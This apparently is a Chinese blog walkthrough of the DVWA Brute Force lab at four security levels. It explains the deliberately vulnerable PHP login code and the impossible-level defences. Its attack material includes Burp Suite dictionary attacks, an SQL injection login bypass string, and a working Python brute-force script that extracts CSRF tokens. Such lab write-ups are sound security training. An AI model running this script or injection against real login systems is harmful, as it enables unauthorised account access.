• DVWA - Brute Force


    DVWA - Brute Force

    等级:low

    在这里插入图片描述

    直接上bp弱口令爆破,设置变量,攻击类型最后一个,payload为用户名、密码简单列表

    在这里插入图片描述

    在这里插入图片描述

    直接run,长度排序下,不一样的就是正确的用户名和密码

    在这里插入图片描述

    另解:
    看一下源码,user变量直接被嵌入sql语句中,没有进行任何过滤,故可以用万能密码(' or 1=1#​)截断sql语句,使result值为1,绕过登陆验证

    在这里插入图片描述

    等级:medium

    直接看源码:

    
    
    if( isset( $_GET[ 'Login' ] ) ) {
        // Sanitise username input
        $user = $_GET[ 'username' ];
        $user = mysql_real_escape_string( $user );
    
        // Sanitise password input
        $pass = $_GET[ 'password' ];
        $pass = mysql_real_escape_string( $pass );
        $pass = md5( $pass );
    
        // Check the database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysql_query( $query ) or die( '
    ' . mysql_error() . '
    '
    ); if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $avatar = mysql_result( $result, 0, "avatar" ); // Login successful echo "

    Welcome to the password protected area {$user}

    "
    ; echo "{$avatar}\" />"
    ; } else { // Login failed sleep( 2 ); echo "

    Username and/or password incorrect.
    "
    ; } mysql_close(); } ?>

    添加了mysql_real_escape_string( )函数来转义参数中的特殊字符,故万能密码行不通,此外增加了登陆失败执行sleep(2)函数,一定程度上限制了爆破攻击,增加攻击者的成本。我们依旧用bp爆破,但是要设置下请求间隔为2100毫秒

    在这里插入图片描述

    等级:high

    直接看源码:

    
    
    if( isset( $_GET[ 'Login' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Sanitise username input
        $user = $_GET[ 'username' ];
        $user = stripslashes( $user );
        $user = mysql_real_escape_string( $user );
    
        // Sanitise password input
        $pass = $_GET[ 'password' ];
        $pass = stripslashes( $pass );
        $pass = mysql_real_escape_string( $pass );
        $pass = md5( $pass );
    
        // Check database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysql_query( $query ) or die( '
    ' . mysql_error() . '
    '
    ); if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $avatar = mysql_result( $result, 0, "avatar" ); // Login successful echo "

    Welcome to the password protected area {$user}

    "
    ; echo "{$avatar}\" />"
    ; } else { // Login failed sleep( rand( 0, 3 ) ); echo "

    Username and/or password incorrect.
    "
    ; } mysql_close(); } // Generate Anti-CSRF token generateSessionToken(); ?>

    这里添加了token的校验,checkToken( )函数检查用户token和会话token是否相同,generateSessionToken( )函数是自定义函数,用于创建user_token,这里是从上一次请求的response里面提取的token,我们抓个包分析下

    在这里插入图片描述

    在这里插入图片描述

    所以我们用bp爆破的话,要给token设置变量,递归提取token,操作如下:

    先设置grep规则,要勾选总是重定向,线程要设置成1,url编码要把=和&去掉

    在这里插入图片描述

    然后run

    在这里插入图片描述

    另解:

    当然不熟悉bp操作的话,可以写python脚本来解决,如下:

    import re
    import requests
    
    # 设置cookie
    headers = {
        'Cookie': 'PHPSESSID=m7t4i0m8ft1rh1p6frtm5t0bh0; security=high',
    }
     
    # 从返回值中提取cookie
    def get_token():
        url = 'http://ctfdemo.com:8008/vulnerabilities/brute/'
        req = requests.get(url, headers=headers)
        match = re.search(r'value=\'(.+)\'', req.text)
        return  match.group(1)
    
     
    # 请求脚本,这里为了省事,用户名固定了 
    def brute(pw, user_token):
     
        url = "http://ctfdemo.com:8008/vulnerabilities/brute/"
     
        params = {
            'username': 'admin',
            'password': pw,
            'Login': 'Login',
            'user_token':user_token
        }
     
        req = requests.get(url, params=params, headers=headers)
        return req.text
     
     
     
    def main():
        with open('password.txt') as p:
            pslist = p.readlines()
            p.close()
     
        for line in pslist:
            line = line.strip()
            user_token = get_token()
            result = brute(line, user_token)
            print("%s...... 已测试" % line)
            if not "incorrect" in result:
                print("攻击成功,密码是: %s" % line)
                break
    
    if __name__ == '__main__':
        main()
    

    输出:

    在这里插入图片描述

    等级:impossible

    直接分析源码:

    
    
    if( isset( $_POST[ 'Login' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Sanitise username input
        $user = $_POST[ 'username' ];
        $user = stripslashes( $user );
        $user = mysql_real_escape_string( $user );
    
        // Sanitise password input
        $pass = $_POST[ 'password' ];
        $pass = stripslashes( $pass );
        $pass = mysql_real_escape_string( $pass );
        $pass = md5( $pass );
    
        // Default values
        $total_failed_login = 3;
        $lockout_time       = 15;
        $account_locked     = false;
    
        // Check the database (Check user information)
        $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
        $row = $data->fetch();
    
        // Check to see if the user has been locked out.
        if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
            // User locked out.  Note, using this method would allow for user enumeration!
            //echo "

    This account has been locked due to too many incorrect logins.
    ";
    // Calculate when the user would be allowed to login again $last_login = $row[ 'last_login' ]; $last_login = strtotime( $last_login ); $timeout = strtotime( "{$last_login} +{$lockout_time} minutes" ); $timenow = strtotime( "now" ); // Check to see if enough time has passed, if it hasn't locked the account if( $timenow > $timeout ) $account_locked = true; } // Check the database (if username matches the password) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // If its a valid login... if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // Get users details $avatar = $row[ 'avatar' ]; $failed_login = $row[ 'failed_login' ]; $last_login = $row[ 'last_login' ]; // Login successful echo "

    Welcome to the password protected area {$user}

    "
    ; echo "{$avatar}\" />"
    ; // Had the account been locked out since last login? if( $failed_login >= $total_failed_login ) { echo "

    Warning: Someone might of been brute forcing your account.

    "
    ; echo "

    Number of login attempts: {$failed_login}.
    Last login attempt was at: ${last_login}.

    "
    ; } // Reset bad login count $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // Login failed sleep( rand( 2, 4 ) ); // Give the user some feedback echo "

    Username and/or password incorrect.

    Alternative, the account has been locked because of too many failed logins.
    If this is the case, please try again in {$lockout_time} minutes.
    "
    ; // Update bad login count $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Set the last login time $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>

    使用了 PDO(PHP Data Objects)扩展,即预处理和参数化查询,避免了SQL注入攻击;设置了最大登陆次数($total_failed_login = 3),当登陆失败的次数超过3次,会输出警告信息,锁定账户。在一方面确实防止了爆破攻击,但是我们可以批量让用户锁定,也是在一方面影响了用户的体验。

  • 相关阅读:
    vue父子组件实现表单双向绑定
    栈(Stack)和队列(Queue)
    Linux从入门到实战 ---- 磁盘分区
    (完美解决)为什么在train/val/test数据集上用train模式效果都很好,但是在eval模式下全部很差
    数据推荐 | 自然场景OCR文字识别数据集一览
    剑指offer专项突击版第29天
    you-get:一行命令下载视频和Python简单使用you-get
    SpringBoot启用禁用员工/员工分页查询/编辑员工 --苍穹外卖day3
    元宇宙iwemeta:《时代》杂志新封面,元宇宙将改变一切
    ROS参数服务器(Param):通信模型、Hello World与拓展
  • 原文地址:https://blog.csdn.net/m0_73649671/article/details/139723937